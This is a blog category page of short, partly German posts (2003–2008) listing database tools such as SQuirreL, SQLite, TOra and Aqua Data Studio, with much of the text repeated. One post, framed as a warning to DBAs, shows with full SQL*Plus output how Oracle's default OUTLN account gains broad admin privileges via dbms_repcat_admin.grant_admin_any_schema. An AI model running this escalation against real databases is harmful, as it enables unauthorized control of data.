database
Mittwoch, 15. Oktober 2008, 15:49 - Rubrik: database
noch kein Kommentar - Kommentar verfassen
SQuirreL SQL Client is a graphical Java program that will allow you to view the structure of a JDBC compliant database, browse the data in tables, issue SQL commands etc.
www.squirrelsql.org
www.squirrelsql.org
Freitag, 13. Juni 2008, 12:09 - Rubrik: database
noch kein Kommentar - Kommentar verfassen
Mittwoch, 23. November 2005, 11:30 - Rubrik: database
noch kein Kommentar - Kommentar verfassen
Starting from Oracle8i, new databases made with a create database command are installed with a user called OUTLN. This schema is used to hold information about stored outlines for the plan stability feature. The user has an easily guessable password and is left unlocked when the database is created. DBAs commonly overlook this but it is so important to either change the password or lock the account because it can be used to gain DBA privileges. Here's how:
$ sqlplus outln/xxxx@DEMO
SQL*Plus: Release 9.2.0.3.0 - Production on Thu Sep 4 13:58:14 2003
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.3.0 - 64bit Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.3.0 - Production
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
EXECUTE ANY PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE
The critical system privilege granted by default to the OUTLN user is EXECUTE ANY PROCEDURE. If you can execute any procedure in the database, then try this one and look what privileges you can gain:
SQL> exec dbms_repcat_admin.grant_admin_any_schema('OUTLN');
PL/SQL procedure successfully completed.
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE ANY TABLE
ALTER ANY TABLE
DROP ANY TABLE
COMMENT ANY TABLE
SELECT ANY TABLE
INSERT ANY TABLE
UPDATE ANY TABLE
DELETE ANY TABLE
CREATE CLUSTER
CREATE ANY CLUSTER
ALTER ANY CLUSTER
DROP ANY CLUSTER
CREATE ANY INDEX
ALTER ANY INDEX
DROP ANY INDEX
CREATE SYNONYM
CREATE ANY SYNONYM
DROP ANY SYNONYM
CREATE PUBLIC SYNONYM
DROP PUBLIC SYNONYM
CREATE VIEW
CREATE ANY VIEW
DROP ANY VIEW
CREATE SEQUENCE
CREATE ANY SEQUENCE
ALTER ANY SEQUENCE
DROP ANY SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE ANY PROCEDURE
ALTER ANY PROCEDURE
DROP ANY PROCEDURE
EXECUTE ANY PROCEDURE
CREATE TRIGGER
CREATE ANY TRIGGER
ALTER ANY TRIGGER
DROP ANY TRIGGER
CREATE ANY SNAPSHOT
ALTER ANY SNAPSHOT
DROP ANY SNAPSHOT
CREATE TYPE
CREATE ANY TYPE
ALTER ANY TYPE
DROP ANY TYPE
CREATE OPERATOR
CREATE ANY OPERATOR
DROP ANY OPERATOR
CREATE INDEXTYPE
CREATE ANY INDEXTYPE
DROP ANY INDEXTYPE
54 rows selected.
[via oracleadvice.com/..]
$ sqlplus outln/xxxx@DEMO
SQL*Plus: Release 9.2.0.3.0 - Production on Thu Sep 4 13:58:14 2003
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.3.0 - 64bit Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.3.0 - Production
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
EXECUTE ANY PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE
The critical system privilege granted by default to the OUTLN user is EXECUTE ANY PROCEDURE. If you can execute any procedure in the database, then try this one and look what privileges you can gain:
SQL> exec dbms_repcat_admin.grant_admin_any_schema('OUTLN');
PL/SQL procedure successfully completed.
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE ANY TABLE
ALTER ANY TABLE
DROP ANY TABLE
COMMENT ANY TABLE
SELECT ANY TABLE
INSERT ANY TABLE
UPDATE ANY TABLE
DELETE ANY TABLE
CREATE CLUSTER
CREATE ANY CLUSTER
ALTER ANY CLUSTER
DROP ANY CLUSTER
CREATE ANY INDEX
ALTER ANY INDEX
DROP ANY INDEX
CREATE SYNONYM
CREATE ANY SYNONYM
DROP ANY SYNONYM
CREATE PUBLIC SYNONYM
DROP PUBLIC SYNONYM
CREATE VIEW
CREATE ANY VIEW
DROP ANY VIEW
CREATE SEQUENCE
CREATE ANY SEQUENCE
ALTER ANY SEQUENCE
DROP ANY SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE ANY PROCEDURE
ALTER ANY PROCEDURE
DROP ANY PROCEDURE
EXECUTE ANY PROCEDURE
CREATE TRIGGER
CREATE ANY TRIGGER
ALTER ANY TRIGGER
DROP ANY TRIGGER
CREATE ANY SNAPSHOT
ALTER ANY SNAPSHOT
DROP ANY SNAPSHOT
CREATE TYPE
CREATE ANY TYPE
ALTER ANY TYPE
DROP ANY TYPE
CREATE OPERATOR
CREATE ANY OPERATOR
DROP ANY OPERATOR
CREATE INDEXTYPE
CREATE ANY INDEXTYPE
DROP ANY INDEXTYPE
54 rows selected.
[via oracleadvice.com/..]
Dienstag, 27. September 2005, 09:13 - Rubrik: database
noch kein Kommentar - Kommentar verfassen
SQLite is a small C library that implements a self-contained, embeddable, zero-configuration SQL database engine.
sqlite.org
Super für eine einfache und schnelle SQL Datenbank auf Commandline Ebene.
sqlite.org
Super für eine einfache und schnelle SQL Datenbank auf Commandline Ebene.
Dienstag, 8. Februar 2005, 16:17 - Rubrik: database
noch kein Kommentar - Kommentar verfassen
TOra is a Toolkit for Oracle which aims to help the DBA or developer of database application. Features PL/SQL debugger, SQL worksheet with syntax highlighting, DB browser and a comprehensive set of DBA tools.
globecom.net/tora
sourceforge.net/projects/tora
Aqua Data Studio 3.7 is a database query and administration tool that allows developers to easily create, edit, and execute SQL scripts, as well as browse and visually modify database structures. Aqua Data Studio provides an integrated database environment with a single consistent interface to all major relational databases. This allows the database administrator or developer to tackle multiple tasks simultaneously from one application.
aquafold.com
Oracletool is an interactive, web based application that runs as a CGI script using your web server. The advantage of Oracletool over non web based tools is that nothing needs to be installed on the client side machine. All you need to use Oracletool, once installed, is a web browser. There is nothing that needs to be created or altered in your databases to use Oracletool either, other than a role for users who are not DBA's, but want to use the tool. No database changes whatsoever are needed for a DBA to use Oracletool.
oracletool.com
Quest Software presents Data Dictionary for Oracle v2.0, a freeware tool for viewing DBA_View and V$ View information. Use this application to reference Oracle 9.i2 documentation or connect to your own Oracle instance to obtain descriptions and column data from a live system.
quest-pipelines.com/..
more Oracle resources:
http://www.pcvoyager.com/dir/database_oracle.html
globecom.net/tora
sourceforge.net/projects/tora
Aqua Data Studio 3.7 is a database query and administration tool that allows developers to easily create, edit, and execute SQL scripts, as well as browse and visually modify database structures. Aqua Data Studio provides an integrated database environment with a single consistent interface to all major relational databases. This allows the database administrator or developer to tackle multiple tasks simultaneously from one application.
aquafold.com
Oracletool is an interactive, web based application that runs as a CGI script using your web server. The advantage of Oracletool over non web based tools is that nothing needs to be installed on the client side machine. All you need to use Oracletool, once installed, is a web browser. There is nothing that needs to be created or altered in your databases to use Oracletool either, other than a role for users who are not DBA's, but want to use the tool. No database changes whatsoever are needed for a DBA to use Oracletool.
oracletool.com
Quest Software presents Data Dictionary for Oracle v2.0, a freeware tool for viewing DBA_View and V$ View information. Use this application to reference Oracle 9.i2 documentation or connect to your own Oracle instance to obtain descriptions and column data from a live system.
quest-pipelines.com/..
more Oracle resources:
http://www.pcvoyager.com/dir/database_oracle.html
Donnerstag, 3. Februar 2005, 10:22 - Rubrik: database
noch kein Kommentar - Kommentar verfassen
The Ruby9i Library
Ruby/OCI8
Ruby Home Page
Onlinebuch: Programmieren mit Ruby
Exerb Project
Free Ruby IDE
Ruby/OCI8
Ruby Home Page
Onlinebuch: Programmieren mit Ruby
Exerb Project
Free Ruby IDE
Samstag, 20. November 2004, 06:29 - Rubrik: database
noch kein Kommentar - Kommentar verfassen
Sentences™ ist ein innovatives Datenbank-Management-System, welches durch die Firma Lazy Software Ltd. in Java entwickelt wurde und die einzige kommerzielle Implementierung des assoziativen Datenmodells ist.
Das assoziative Datenmodell ist die erste, definitiv neue Datenmodell-Architektur seit der "Erfindung" des Internet, welches den strukturellen Bedürfnissen von Internetanwendungen entspricht und das erlaubt, die Strukturen von Informationen einer realen Welt, so wie sie von uns Menschen wahrgenommen und verarbeitet werden, zu modellieren.
Diese Architektur ist der erste grössere Schritt, welcher tatsächlich über den Ansatz der relationalen Datenbank-Theorie hinausgeht.
Das assoziative Datenmodell ist die erste, definitiv neue Datenmodell-Architektur seit der "Erfindung" des Internet, welches den strukturellen Bedürfnissen von Internetanwendungen entspricht und das erlaubt, die Strukturen von Informationen einer realen Welt, so wie sie von uns Menschen wahrgenommen und verarbeitet werden, zu modellieren.
Diese Architektur ist der erste grössere Schritt, welcher tatsächlich über den Ansatz der relationalen Datenbank-Theorie hinausgeht.
Donnerstag, 20. März 2003, 13:26 - Rubrik: database
noch kein Kommentar - Kommentar verfassen
InterSystems Caché: Die leistungsstarke Verbindung von Objekten und SQL in einer multidimensionalen Datenbank Engine.
Gratis Download (Single User Version)
Gratis Download (Single User Version)
Donnerstag, 20. März 2003, 12:11 - Rubrik: database
noch kein Kommentar - Kommentar verfassen